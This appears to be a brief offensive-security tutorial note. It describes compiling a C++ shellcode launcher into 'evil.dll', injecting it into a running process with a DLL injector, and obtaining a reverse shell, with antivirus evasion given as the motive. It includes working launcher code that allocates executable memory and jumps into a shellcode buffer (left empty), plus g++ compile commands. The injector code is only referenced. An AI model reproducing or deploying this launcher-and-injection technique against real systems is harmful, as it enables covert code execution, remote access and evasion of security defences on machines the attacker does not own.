Execute Shellcode Launcher with Dll Injection

Objective

  • Create custom shellcode launcher to execute reverse shell payload and compile it as evil.dll.

  • Create a dll injector and inject evil.dll to a process.

  • Get a reverse shell.

Ok but why ?

Antivirus evasion and/or make it hard to detect.

Shellcode Launcher

You can read more about shellcode launcher from my previous note:

C++: Shellcode Launcher
#include <string>
#include <windows.h>

int main(){

char shellcode[] = ""; //shellcode
void *memPtr= VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //yer ayir
	memcpy(memPtr, shellcode, sizeof shellcode); //bellege shellcodeu yerlestir
	((void(*)())memPtr)(); //shellcodeu aktive et
	
	}

Add a DllMain function to execute shellcode launcher just in the when DLL is injected.

Compile it as dll: g++ -shared -o evil.dll shellcode-launcher.cpp -std=c++11

DLL Injector

You can read more about dll injection from my previous note:

C++: Dll Injection

Compile it as dll: g++ injector.cpp -o injector.exe

Action and Results

Selecting process PID

Selecting the process.
Getting the shell

Last updated

Was this helpful?